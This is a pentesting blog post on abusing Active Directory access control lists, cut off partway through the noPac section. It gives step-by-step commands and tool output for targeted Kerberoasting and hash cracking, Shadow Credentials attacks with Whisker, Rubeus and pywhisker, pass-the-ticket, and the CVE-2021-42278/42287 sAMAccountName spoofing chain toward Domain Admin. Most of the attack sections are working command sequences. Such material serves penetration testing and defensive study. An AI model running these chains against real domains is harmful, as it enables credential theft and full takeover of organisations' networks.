Post

ACL Hacking in Active Directory: The Hidden Keys to the Kingdom

Forget zero-days—most AD compromises happen because someone forgot to double-check an Access Control List.

ACL Hacking in Active Directory: The Hidden Keys to the Kingdom

When you’re poking around Active Directory, ACLs (Access Control Lists) are basically the rulebook that decides who gets to do what. If AD were a massive office building, the ACL would be the security guard standing at every door with a clipboard, checking IDs before letting anyone in—or, in our case, handing them the keys.

What exactly is an ACL?

At its core, an ACL is just a list attached to an object (like a user, a group, or a computer). This list contains several ACEs (Access Control Entries). Think of an ACE as a single line item that says: “User ‘Bob’ has permission to ‘Reset Password’ for ‘User Alice’.”

In AD, there are two main types you’ll run into:

  1. DACL (Discretionary Access Control List): This is the one we care about for hacking. It defines who has (or is denied) access to an object.
  2. SACL (System Access Control List): This is for the admins. It handles auditing—basically logging who tried to touch what.

The Role of ACLs (and why they break)

The role of an ACL is to enforce the Principle of Least Privilege. In a perfect world, a helpdesk guy should only have the ACL permissions to reset passwords, not the power to delete the entire “Domain Admins” group.

But here’s the reality: Active Directory is old, messy, and usually managed by overstretched IT teams. Over time, permissions get “nested” or inherited in ways nobody intended.

Quick Note: Most AD breaches aren’t about some sophisticated zero-day exploit. They happen because an attacker finds a forgotten ACL that gives a random “Print Operator” the power to modify a high-level service account.

Why this is a goldmine for us

From a pentesting perspective, ACLs are a logic flaw. You aren’t “breaking” the system; you’re just using the permissions exactly how they were written—it’s just that the person who wrote them made a mistake.

If I find an ACL that says my low-level user has GenericAll (full control) over a Group Policy Object (GPO), I don’t need to crack a password. I just need to tell that GPO to give me a backdoor. It’s not a bug; it’s a feature being used against itself.

The Comprehensive Map of DACL Abuses

If you’re looking at a BloodHound graph or a PowerView output, the sheer number of permissions can be overwhelming. Let’s break down exactly what you can do based on the specific attributes and ACEs you’ve uncovered.

1. The “Big Three” (Direct Object Control)

These allow for total takeover of the target object, usually by chaining into other permissions.

  • GenericAll

    Total control. You can change passwords, modify any attribute, or even delete the object. All Attacks and Abuses we are gonna talk about in this blog are included to the account Having GenericAll Permission

  • WriteDACL

    You can modify the security descriptor. The goal here is always to grant yourself GenericAll.

  • WriteOwner

    You take ownership of the object. Once you own it, you can rewrite the DACL to give yourself full control.

2. Group Membership Abuses

If your target is a Group, these are your “In” tokens.

  • AddMember

    Directly add any user (including yourself) to the group.

  • Self-Membership (Self)

    Usually found as an “Extended Right.” It allows the trustee to add themselves to the group.

  • GenericWrite / WriteProperty

    If you have these on a group, you can modify the member attribute to add new accounts.

3. User & Computer Attribute Manipulation

This is where things get creative. By modifying specific attributes, you can trick the system into giving you access.

Abusing GenericWrite / WriteProperty

  • msDS-AllowedToDelegateToAccount

    Used to configure Resource-Based Constrained Delegation (RBCD). You can make a computer trust an account you control, then impersonate anyone on that machine.

  • The “Shadow Credentials” attack. You add a public key to the user’s attribute, allowing you to authenticate as them using a certificate (PKINIT).

  • WriteSPN

    Add a Service Principal Name to a user. This turns a regular user into a target for Kerberoasting.

  • scriptPath

    Change the login script path to a malicious executable on a share you control.

GPO Specific Abuses

If you have GenericWrite or WriteProperty over a GPO, you can modify:

  • gPCMachineExtensionNames / gPCFileSysPath

    To push malicious settings or scripts to all computers the GPO applies to.

  • Link a malicious GPO you control to an OU or Domain.

4. Extended Rights & Specialized Abuses

These are specific “Tasks” granted to users that bypass standard restrictions.

  • ForceChangePassword

    Reset a user’s password without knowing their current one.

  • ReadLAPSPassword / SyncLAPSPassword

    Steal the local administrator password for computers managed by LAPS.

  • ReadGMSAPassword

    Retrieve the password for Group Managed Service Accounts.

  • DCSync Rights

    (DS-Replication-Get-Changes & DS-Replication-Get-Changes-All). If you have these on the Domain object, you can pull password hashes for any user directly from the Domain Controller.

5. Advanced & Cloud-Linked Abuses

  • AZRoleEligible / AZRoleApprover

    Found in hybrid environments, these allow you to escalate into Entra ID (Azure) roles.

  • CreateChild / DeleteChild

    Create new objects (like a new user) inside an OU, or delete critical ones.

  • SpoofSIDHistory / AbuseTGTDelegation

    A legacy abuse that allows you to add high-privilege SIDs to your own account’s history to bypass authorization.

Tip: When you see AllExtendedRights, it means you have the power to perform all of the specialized tasks listed above for that object. It’s essentially “Full Control” for specific AD operations.

Attacks Related To DACLs & Permissions

There are many attacks related to DACL as we can exploit other users , add ourselves to groups , take ownership of groups due to misconfigured permission , so we are gonna talk about many attacks till now (2026) and gonan talk also about TTPs and Latest CVEs in that blog , keep reading

1. Kerberoasting Attack

Kerberoasting is one of the most common privilege escalation techniques in Active Directory environments.
It targets service accounts associated with Service Principal Names (SPNs) and allows an attacker to obtain Kerberos service tickets that can be cracked offline to recover the account password.

The key advantage of Kerberoasting is that no elevated privileges are required by default. However, in DACL abuse scenarios we can perform targeted Kerberoasting even when the target user does not already have an SPN.

This becomes possible when an attacker has permission to modify attributes on the target account.

TGS tickets are encrypted with a key derived from the password of the service account or machine account. By cracking the TGS offline, an attacker can recover the service account password and authenticate as that account to access the server and its resources. If the account is configured for delegation (such as Constrained Delegation or Resource-Based Constrained Delegation), the attacker may also be able to impersonate other users when accessing the delegated services on that server or other permitted servers.


When Kerberoasting via DACL Abuse is Possible

Targeted Kerberoasting becomes possible when the controlled account has any of the following permissions over the target user:

  • GenericAll
  • GenericWrite
  • WriteProperty
  • WriteSPN
  • Validated-SPN

These permissions allow an attacker to add a fake SPN to the target account, request a Kerberos service ticket for that SPN, and then crack the resulting hash offline.


Verifying the Permission

Before attempting the attack, we must verify that our controlled account actually has the required permission over the target.

Example: Checking DACL Entries

The hacker has GenericWrite Permission over the victim

img-description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PS C:\Tools> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $userSID = (Get-DomainUser -Identity hacker ).objectsid
PS C:\Tools> Get-DomainObjectAcl -Identity victim | ?{$_.SecurityIdentifier -eq $userSID}

ObjectDN               : CN=victim,CN=Users,DC=corp,DC=LOCAL
ObjectSID              : S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-1234
ActiveDirectoryRights  : WriteProperty
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : f3a64788-5306-11d1-a9c5-0000f80367c1
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 32
SecurityIdentifier     : S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-1234
AceType                : AccessAllowedObject
AceFlags               : ContainerInherit
IsInherited            : False
InheritanceFlags       : ContainerInherit
PropagationFlags       : None
AuditFlags             : None

Access mask : WriteProperty appears when you as attacker have permission of GenericAll,GenericWrite,WriteProperity

1
2
3
4
5
6
PS C:\Tools> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser Victim | Select serviceprincipalname

serviceprincipalname
--------------------

Set New SPN for the victim user

1
2
3
4
5
PS C:\Tools> Set-DomainObject -Identity victim -Set @{serviceprincipalname='test/TEST'} -Verbose

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.CORP.LOCAL/DC=CORP,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=rita)(name=rita)(displayname=rita))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'test/TEST' for object 'victim'

Getting The Hash for the victim user :

1
2
3
4
PS C:\Tools> $User = Get-DomainUser Victim
PS C:\Tools> $User | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash

$krb5tgs$23$*Victim$CORP.LOCAL$test/TEST*$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<SNIP>
  • if the hash of the victim starts with $krbtgs$23$* then that hash is RC4 ,
  • if starts with $krb5tgs$18$* then AES256

Crack The Hash

  • Cracking $krb5tgs$18$* mode is 19700
  • Cracking $krbtgs$23$* mode is 13100
    1
    
    root@root#  hashcat -m 13100 /tmp/rita.hash /usr/share/wordlists/rockyou.txt --force
    

** From Linux Machine **

1
2
3
4
5
6
7
8
9
10
11
12
13
root@root# python3 examples/dacledit.py -principal hacker -target victim -dc-ip 10.10.10.1 corp.local/hacker:Password123

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-1234)
[*]   ACE[5] info                
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE
[*]     Access mask               : WriteProperty
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : Validated-SPN (f3a64788-5306-11d1-a9c5-0000f80367c1)
[*]     Trustee (SID)             : hacker (S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-1234)

Access mask : WriteProperty appears when you as attacker have permission of GenericAll,GenericWrite,WriteProperity

Preparing the Attack Environment

We can perform targeted Kerberoasting from either Linux or Windows.

Below are the setup steps for the Linux attack environment

1
2
3
4
5
6
7
8
9
10
11
12
13
root@root# git clone https://github.com/ShutdownRepo/targetedKerberoast
root@root# cd targetedKerberoast
root@root# python3 -m pip install -r requirements.txt
root@root# python3 targetedKerberoast.py -vv -d corp.local -u hacker -p Password123 --request-user victim --dc-ip 10.10.10.1

[*] Starting kerberoast attacks
[*] Attacking user (victim)
[DEBUG] {'Victim': {'dn': 'CN=Victim,CN=Users,DC=CORP,DC=LOCAL', 'spns': []}}
[DEBUG] User (%s) has no SPN, attempting a targeted Kerberoasting now
[VERBOSE] SPN added successfully for (Victim)
[+] Printing hash for (Victim)
$krb5tgs$23$*victim$CORP.LOCAL$corp.local/victim*$e8xxxxxxxxxxxxxxxxxxxxxxxxxc0f70<SNIP>
[VERBOSE] SPN removed successfully for (victim)

the above script would make 3 actions :

  1. Add a temporary SPN to the target account
  2. Request a Kerberos service ticket
  3. Output the hash in crackable format

if there is problem appeared as : Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) need to synchronize the Clock between

1
root@root# sudo ntpdate <DC_Ip> 

Crack The Hash
Cracking $krb5tgs$18$* mode is 19700
Cracking $krbtgs$23$* mode is 13100

1
root@root# hashcat -m 13100 /tmp/rita.hash /usr/share/wordlists/rockyou.txt --force

We can test the password for the victim user with netexec - smbexec - nimexec - crackmapexec - psexec - Nopsexec etc…

1
2
3
root@root# netexec smb 10.10.10.1 -u victim -p <crack_password> 

SMB         10.10.10.1   445    DC01             [+] CORP.LOCAL\victim:Password123

2. Shadow Credentials Attack

Shadow Credentials is an advanced account takeover technique that abuses Windows Hello for Business (WHfB) and PKINIT (Public Key Cryptography for Initial Authentication) to achieve passwordless authentication.

Instead of resetting passwords or cracking hashes, this attack allows an attacker to:

  • Authenticate as the target without knowing the password
  • Obtain a TGT (Ticket Granting Ticket)
  • Extract the NTLM hash of the target

This makes it more stealthy and reliable than techniques like:

  • Password Reset
  • Kerberoasting
  • RBCD

When Shadow Credentials is Possible

This attack is possible when the attacker-controlled account has:

  • GenericAll
  • GenericWrite
  • WriteProperty over msDS-KeyCredentialLink

Kerberos Pre-Authentication (Background)

Kerberos authentication uses a pre-authentication step to prevent offline attacks.

Normally:

  1. Client encrypts timestamp using password-derived key
  2. KDC decrypts and verifies
  3. If valid → TGT is issued

PKINIT (Public Key Authentication)

PKINIT allows authentication using certificates instead of passwords.

Flow:

  1. Client sends AS-REQ with data encrypted using private key
  2. KDC validates certificate
  3. TGT is issued

This is the foundation of Shadow Credentials.


Passwordless Authentication (Key Trust Model)

One of the main things needed to perform that attack is that AD CS / PKI must exist. as it depends mainly on Certificates .

The client’s public key is stored in the multi-value attribute, msDS-KeyCredentialLink.
This attribute’s values are Key Credentials, serialized objects containing information such as the creation date, the distinguished name of the owner, a GUID that represents a Device ID, and, of course, the public key. It is a multi-value attribute because an account has several linked devices.

Shadow Credentials Concept

If an attacker can modify the msDS-KeyCredentialLink attribute, they can inject a malicious Key Credential and authenticate as the target account using PKINIT, effectively obtaining a TGT.
While the TGT itself does not contain the NTLM hash, it can later be leveraged in a PKINIT + U2U flow to extract the NTLM hash from the PAC

They can:

  1. Add their own key (fake credential)
  2. Authenticate as the target via PKINIT
  3. Obtain TGT and NTLM hash

Attacking Shadow Credentials with Windows

Enumeration

1
2
3
4
5
6
7
8
9
10
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(msDS-KeyCredentialLink=*)"
$searcher.PropertiesToLoad.AddRange(@("samaccountname","distinguishedname")) | Out-Null

$searcher.FindAll() | ForEach-Object {
    [PSCustomObject]@{
        User = $_.Properties.samaccountname
        DN   = $_.Properties.distinguishedname
    }
}

and the output like that :

1
2
3
User      DN
----      --
{eliot} {CN=Eliot,CN=Users,DC=Corp,DC=local}

also we can Import-Module as PowerView.ps1 and use it

1
2
3
powershell -ep bypass
Import-Module .\Powrview.ps1
Get-DomainUser -Filter '(msDS-KeyCredentialLink=*)'

The Output Would be like that (if misconfiguration found)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
logoncount             : 5
msds-keycredentiallink : B:828:00020000200001A98B9A34A7566C0B8633DF6ADBF934CFE79BE8617097536146F1F062ED29659920000272FF2D049DD5FE5E47932D12B0E3C0D9922133B1A18B06B2E855
                         C441B606418B1B0103525341310008000003000000000100000000000000000000010001B5937A146A2068FF789505A762FD841BC944CF85A740E47C9195B6DE31B44915352B40
                         8A8B8515CB346D96F0C444C8BDB56E80AD01A21F34E4DEAC3E2B0562D72812634679D10F2A5B4C214C4DB8EF58D31933C9163D6A426A79BDA4CCBDDC5A1889C234A416F0F3FE73
                         08F7939D0B0FFBDC8D89B080617A407819D4F2C0DEA469AC1B3F0F96428B0D84722739A033E180F6A24B21C39210E3F05999BE5AEC8DB9BAE0EAAF9D5006AC54637D6EDD478341
                         76E850875F88A4B0D944BDC3A63E30D948EBFEC02F4332424F65342018714E5BF971232F0AB6E302393202FF73488D5B4D62B43E52DAD19C20850BF40028D477CFC3543121161E
                         AF84926E9F40443D0100040101000500100006937A2D4642F339A196FC2C750D2F4C890200070100080008B1DB0C23BC98DA01080009B1DB0C23BC98DA01:CN=Eliot,CN=Use
                         rs,DC=Corp,DC=local
badpasswordtime        : 01/01/1601 01:00:00
distinguishedname      : CN=Eliot,CN=Users,DC=lab,DC=local
objectclass            : {top, person, organizationalPerson, user}
displayname            : Eliot
lastlogontimestamp     : 27/04/2024 18:18:37
userprincipalname      : eliot@Corp.local
name                   : Elit
objectsid              : S-1-5-21-2570265163-xxxxxxxxxx-xxxxxxxxxx-1234
samaccountname         : eliot

img-description

after enusring we are able to execute the attack , then we need to read the value of the msDS-KeyCredentialLink attribute of the target.

1
2
3
4
5
.\Whisker.exe list /target:Eliot
[*] Searching for the target account
[*] Target user found: CN=Eliot,CN=Users,DC=lab,DC=local
[*] Listing deviced for eliot:
    DeviceID: 462d7a93-f342-a139-96fc-2c750d2f4c89 | Creation Time: 27/04/2024 18:01:17

we found account for user called Eliot and has DeviceID which is considered GUID identifier for Credential Entry

We found one key in this account. To add new credentials, we have two options: We can provide a certificate file that will be used as the alternative credentials for the account, or we can use .\Whisker.exe add /target:eliot to generate the certificate and print the Rubeus command needed to retrieve the account’s TGT and NTLM hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Tools> .\Whisker.exe add /target:Eliot
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password cw7I7QaHMS44q5xt
[*] Searching for the target account
[*] Target user found: CN=Eliot,CN=Users,DC=lab,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 48d97546-cac9-4e92-981b-e89da231f7a8
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:eliot /certificate:MIIJuAIBAzCCCXQGC..SNIP...6F9yJkzw28UnNcCs/0aclXHfAwICB9A= /password:"cw7I7QaHMS44q5xt" /domain:lab.local /dc:LAB-DC.corp.local /getcredentials /show

the output of the above command tells us to use the command Rubeus.exe asktgt …SNIP… but don’t forget to add /nowrap option for the command (Very Important) That command would add new credentials inside the victim attribute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 .\Rubeus.exe asktgt /user:eliot /certificate:MIIJuAIBAzCCCXQGC..SNIP...6F9yJkzw28UnNcCs/0aclXHfAwICB9A= /password:"cw7I7QaHMS44q5xt" /domain:corp.local /dc:LAB-DC.corp.local /getcredentials /show /nowrap

  ______    _
 (_____ \   | |
  _____) )_ _| |__ _____ _ _ ___
 | __ /| | | | _ \| ___ | | | |/___)
 | | \ \| |_| | |_) ) ____| |_| |___ |
 |_| |_|____/|____/|_____)____/(___/

 v2.3.2

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=eliot
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\eliot'
[*] Using domain controller: fe80::f11e:5faf:4886:146a%15:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

   doIGJjCCBiKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADA...SNIP...

[*] Getting credentials using U2U

 CredentialInfo    :
  Version       : 0
  EncryptionType   : rc4_hmac
  CredentialData   :
   CredentialCount  : 1
    NTLM       : 2D1DA879CA71003...SNIP...

**We need to open new windows powershell with that session number as :

1
 .\Rubeus.exe createnetonly /program:powershell.exe /show

and in the new shell to perform a Pass the Ticket attack

1
2
3
4
5
6
7
8
9
10
11
12
13
.\Rubeus.exe ptt /ticket:doIGJjCCBiKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADA...SNIP...

  ______    _
 (_____ \   | |
  _____) )_ _| |__ _____ _ _ ___
 | __ /| | | | _ \| ___ | | | |/___)
 | | \ \| |_| | |_) ) ____| |_| |___ |
 |_| |_|____/|____/|_____)____/(___/

 v2.3.2

[*] Action: Import Ticket
[+] Ticket successfully imported!

now the ticket inside your memory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Tools> klist

Current LogonId is 0:0x2e5361

Cached Tickets: (1)

#0>     Client: eliot @ CORP.LOCAL
        Server: krbtgt/corp.local @ CORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 3/17/2026 22:47:51 (local)
        End Time:   3/18/2026 8:47:51 (local)
        Renew Time: 3/24/2026 22:47:51 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

Attacking Shadow Credentials with Linux

The Fist step to ensure that we have the permission to execute our attack is to search for two things , the first thing is GenericWrite - GenericAll - WriteProperity , the second thing is msds-AddKeyCredentialLink attribute enabled inside victim user ,

1- First Search for AddKeyCredentialLink Attribute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ldapsearch -x -H ldap://10.129.228.236 -D "hacker@lab.local" -w 'Password123' -b "DC=lab,DC=local" "(msDS-KeyCredentialLink=*)" sAMAccountName
# extended LDIF
#
# LDAPv3
# base <DC=lab,DC=local> with scope subtree
# filter: (msDS-KeyCredentialLink=*)
# requesting: sAMAccountName 
#

# Eliot, Users, lab.local
dn: CN=Eliot,CN=Users,DC=lab,DC=local
sAMAccountName: Eliot

# search reference
ref: ldap://ForestDnsZones.lab.local/DC=ForestDnsZones,DC=lab,DC=local

# search reference
ref: ldap://DomainDnsZones.lab.local/DC=DomainDnsZones,DC=lab,DC=local

# search reference
ref: ldap://lab.local/CN=Configuration,DC=lab,DC=local

as we can see there is user called Eliot , msDS-KeyCredentialLink found

1
2
3
4
5
6
7
8
9
10
11
12
13
14
git clone -q https://github.com/ShutdownRepo/pywhisker
python3 pywhisker.py -d lab.local -u jeffry -p Music001 --target gabriel --action add

[*] Searching for the target account
[*] Target user found: CN=Gabriel,CN=Users,DC=lab,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: a37a618e-ac85-4053-3519-12bf69744e5b
[*] Updating the msDS-KeyCredentialLink attribute of gabriel
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: BX4EWk8m.pfx
[*] Must be used with password: KQAx5lHP3h9TtzNly2Us
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

The output provides us with three essential things: the KeyCredential DeviceID, the name of the certificate (in this case, BX4EWk8m.pfx), and the certificate’s password KQAx5lHP3h9TtzNly2Us. We can use those values with PKINITtools to get a TGT as Gabriel, but before that, let’s install PKINITtools:

1
2
git clone -q https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos 

gettgtpkinit.py is one of the tools available in PKINITtools, that will help us generate the TGT. We will use the option -cert-pfx as well -pfx-pass to specify the password, and finally the value of domain/username and the ccache filename:

1
2
3
4
5
6
7
8
9
10
11
12
13
python3 gettgtpkinit.py -cert-pfx ../pywhisker/BX4EWk8m.pfx -pfx-pass KQAx5lHP3h9TtzNly2Us lab.local/eliot eliot.ccache

2024-02-15 12:53:15,655 minikerberos INFO  Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-02-15 12:53:15,667 minikerberos INFO  Requesting TGT
INFO:minikerberos:Requesting TGT
2024-02-15 12:53:15,954 minikerberos INFO  AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-02-15 12:53:15,954 minikerberos INFO  46c30d948cbe2ab0749d2f72896692c18673e9a4fae6438bff32a33afb49245a
INFO:minikerberos:46c30d948cbe2ab0749d2f72896692c18673e9a4fae6438bff32a33afb49245a
2024-02-15 12:53:15,956 minikerberos INFO  Saved TGT to file
INFO:minikerberos:Saved TGT to file

1
KRB5CCNAME=eliot.ccache python3 getnthash.py -key 46c30d948cbe2ab0749d2f72896692c18673e9a4fae6438bff32a33afb49245a lab.local/eliot 
1
 KRB5CCNAME=eliot.ccache smbclient.py -k -no-pass LAB-DC.CORP.LOCAL

**actually if you are targetting machine account then you need to add $ at the end of the machine name as machine1$

img-description

3. sAMAccountName Spoofing (CVE-2021-42278 & CVE-2021-42287)

In November 2021, Microsoft patched two critical Active Directory vulnerabilities that, when chained together, allow any low-privileged domain user to escalate to Domain Admin in a matter of minutes — with nothing more than a valid username and password.

CVENameCVSSComponent
CVE-2021-42278SAM Name Impersonation7.5Active Directory Domain Services
CVE-2021-42287KDC Bamboozling7.5Kerberos KDC / PAC

The combined attack is commonly known as noPac (short for no PAC, because the vulnerability involves ticket manipulation without a PAC) or sAMAccountName Spoofing.

Impact: Any authenticated domain user → Domain Admin → Full domain compromise.


Background: Key Concepts

Before diving into the exploit, you need to understand a handful of Active Directory and Kerberos primitives.

sAMAccountName

The sAMAccountName attribute is the pre-Windows 2000 logon name for an AD object. It uniquely identifies users and computers within a domain:

  • User accounts: john.doe
  • Computer accounts: WORKSTATION01$ (always ends with $)

The trailing $ is a convention, not a technically enforced constraint — and that is exactly the problem.

MachineAccountQuota (ms-DS-MachineAccountQuota)

By default, every domain user can create up to 10 computer accounts in Active Directory. This is controlled by the domain-level attribute ms-DS-MachineAccountQuota (default value: 10).

The creator of a computer account is automatically granted write permissions over that account’s attributes, including sAMAccountName and servicePrincipalName.

Kerberos S4U2Self

S4U (Service for User) is a Kerberos protocol extension that allows a service to request a service ticket on behalf of any user — including an administrator — without needing their credentials. The S4U2Self extension lets a service request a ticket to itself for any user.

Privilege Attribute Certificate (PAC)

A PAC is a Microsoft extension embedded in Kerberos tickets that carries user authorization data (group memberships, privileges). The KDC embeds the requestor’s identity in the PAC so it can verify ticket ownership later.


The Vulnerabilities Explained

CVE-2021-42278 — SAM Name Impersonation

Active Directory does not validate that a computer account’s sAMAccountName ends with a $ character. This means any user who controls a computer account (e.g., one they created via MachineAccountQuota) can rename it to anything — including the name of a Domain Controller, without the trailing $.

1
2
DC sAMAccountName:  DC01$
Attacker renames:   DC01    <-- no $ sign, AD allows this

The KDC uses sAMAccountName to look up accounts during ticket issuance. Naming your fake computer account DC01 creates ambiguity with DC01$.

CVE-2021-42287 — KDC Bamboozling

When a service ticket is requested via S4U2Self and the KDC cannot find the account referenced in the TGT, it automatically appends a $ and tries again.

The attack sequence exploits this fallback behavior:

  1. Attacker has a TGT issued for DC01 (their renamed computer account).
  2. Attacker renames the computer account back to ControlledComputer$.
  3. Now there is no account named DC01 in AD.
  4. Attacker requests a service ticket via S4U2Self, impersonating Administrator.
  5. The KDC cannot find DC01, appends $, finds DC01$ (the real Domain Controller).
  6. The KDC issues a service ticket as if it came from the Domain Controller, for the Administrator.
  7. Full domain compromise.

Attack Flow Diagram

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[Low-Priv User]
      |
      | (1) Create computer account: ControlledComputer$
      |
      | (2) Clear SPNs on ControlledComputer$
      |
      | (3) Rename sAMAccountName: ControlledComputer$ --> DC01
      |         (CVE-2021-42278: no validation on missing $)
      |
      | (4) Request TGT for "DC01" (our fake computer)
      |         KDC issues TGT with requestor = DC01
      |
      | (5) Rename sAMAccountName back: DC01 --> ControlledComputer$
      |         Now NO account named "DC01" exists
      |
      | (6) S4U2Self: request ST impersonating Administrator
      |         KDC: can't find "DC01", tries "DC01$" --> real DC!
      |         (CVE-2021-42287: KDC fallback appends $)
      |         KDC issues ST for Administrator @ DC01$
      |
      v
[Domain Admin Service Ticket]
      |
      | (7) DCSync / secretsdump --> dump NTLM hashes
      |
      v
[Full Domain Compromise]

Prerequisites

Before exploitation, verify the following requirements are met:

RequirementDetailsDefault
Valid domain user credentialsUsername + password (or hash)Required
ms-DS-MachineAccountQuota > 0Allows creating computer accounts10 (default)
DC missing Nov 2021 patchesKB5008102, KB5008380, KB5008602Unpatched = vulnerable
Network access to DCTCP 88 (Kerberos), 389/636 (LDAP), 445 (SMB)Required

Check MachineAccountQuota

Linux (netexec/crackmapexec):

1
2
3
4
5
6
7
# Using netexec
netexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ

# Using ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -D "CN=username,CN=Users,DC=domain,DC=local" \
  -w 'Password123' -b "DC=domain,DC=local" \
  "(objectClass=domain)" ms-DS-MachineAccountQuota

Windows (PowerShell):

1
2
3
4
5
# Using RSAT
(Get-ADDomain).MachineAccountQuota

# Alternative with PowerView
Get-DomainObject -Identity "DC=domain,DC=local" | Select-Object ms-ds-machineaccountquota

Check if DC is Vulnerable

Linux:

1
2
# netexec noPac module
netexec smb 10.10.10.10 -u 'username' -p 'Password123' -d 'domain.local' -M nopac

Windows (Rubeus):

1
2
# Requesting a TGT with /nopac switch — if the ticket is smaller than usual, DC is vulnerable
Rubeus.exe asktgt /user:"lowprivuser" /password:"Password123" /domain:"domain.local" /dc:"DC01.domain.local" /nopac /nowrap

A TGT without a PAC is significantly smaller in size. If Rubeus returns a small ticket, the DC is unpatched.


Exploitation — Linux (Impacket)

This section covers the full manual exploitation chain using Impacket tools on Kali Linux or any UNIX-like system.

Install Required Tools

1
2
3
4
5
6
7
8
9
# Clone and install the latest Impacket (with noPac-related PRs merged)
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip3 install .

# Clone krbrelayx (for addspn.py)
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
pip3 install .

Step 0 — Create a Controlled Computer Account

1
2
3
4
5
6
addcomputer.py \
  -computer-name 'ControlledComputer$' \
  -computer-pass 'ComputerPassword123!' \
  -dc-host DC01.domain.local \
  -domain-netbios domain \
  'domain.local/lowprivuser:UserPassword123'

Verify creation: net rpc group members "Domain Computers" -U domain/lowprivuser%UserPassword123 -S 10.10.10.10

Step 1 — Clear the SPNs

By default, when a computer account is created via LDAP, it has SPNs like host/ControlledComputer.domain.local. These must be removed because the rename operation will fail if SPNs still reference the old name.

Note: When using addcomputer.py with the default SAMR method, SPNs are not added, so this step may be skippable. Always verify.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Check existing SPNs
python3 addspn.py \
  -u 'domain\lowprivuser' \
  -p 'UserPassword123' \
  -t 'ControlledComputer$' \
  --list \
  DC01.domain.local

# Clear all SPNs
python3 addspn.py \
  --clear \
  -t 'ControlledComputer$' \
  -u 'domain\lowprivuser' \
  -p 'UserPassword123' \
  DC01.domain.local

Step 2 — Rename sAMAccountName to Match the DC

This is where CVE-2021-42278 is triggered. We rename our controlled computer account to match the Domain Controller’s name, without the trailing $.

1
2
3
4
5
renameMachine.py \
  -current-name 'ControlledComputer$' \
  -new-name 'DC01' \
  -dc-ip '10.10.10.10' \
  'domain.local'/'lowprivuser':'UserPassword123'

Verify the rename was successful:

1
2
3
python3 /path/to/impacket/examples/GetADUsers.py \
  -all domain.local/lowprivuser:UserPassword123 \
  -dc-ip 10.10.10.10 | grep -i DC01

Step 3 — Request a TGT for the Spoofed Account

Request a Ticket Granting Ticket for DC01 (our renamed computer account). The KDC will issue a TGT because it currently sees DC01 as a valid account.

1
2
3
4
5
6
getTGT.py \
  -dc-ip '10.10.10.10' \
  'domain.local'/'DC01':'ComputerPassword123!'

# This creates: DC01.ccache
ls -la DC01.ccache

Step 4 — Rename the Account Back

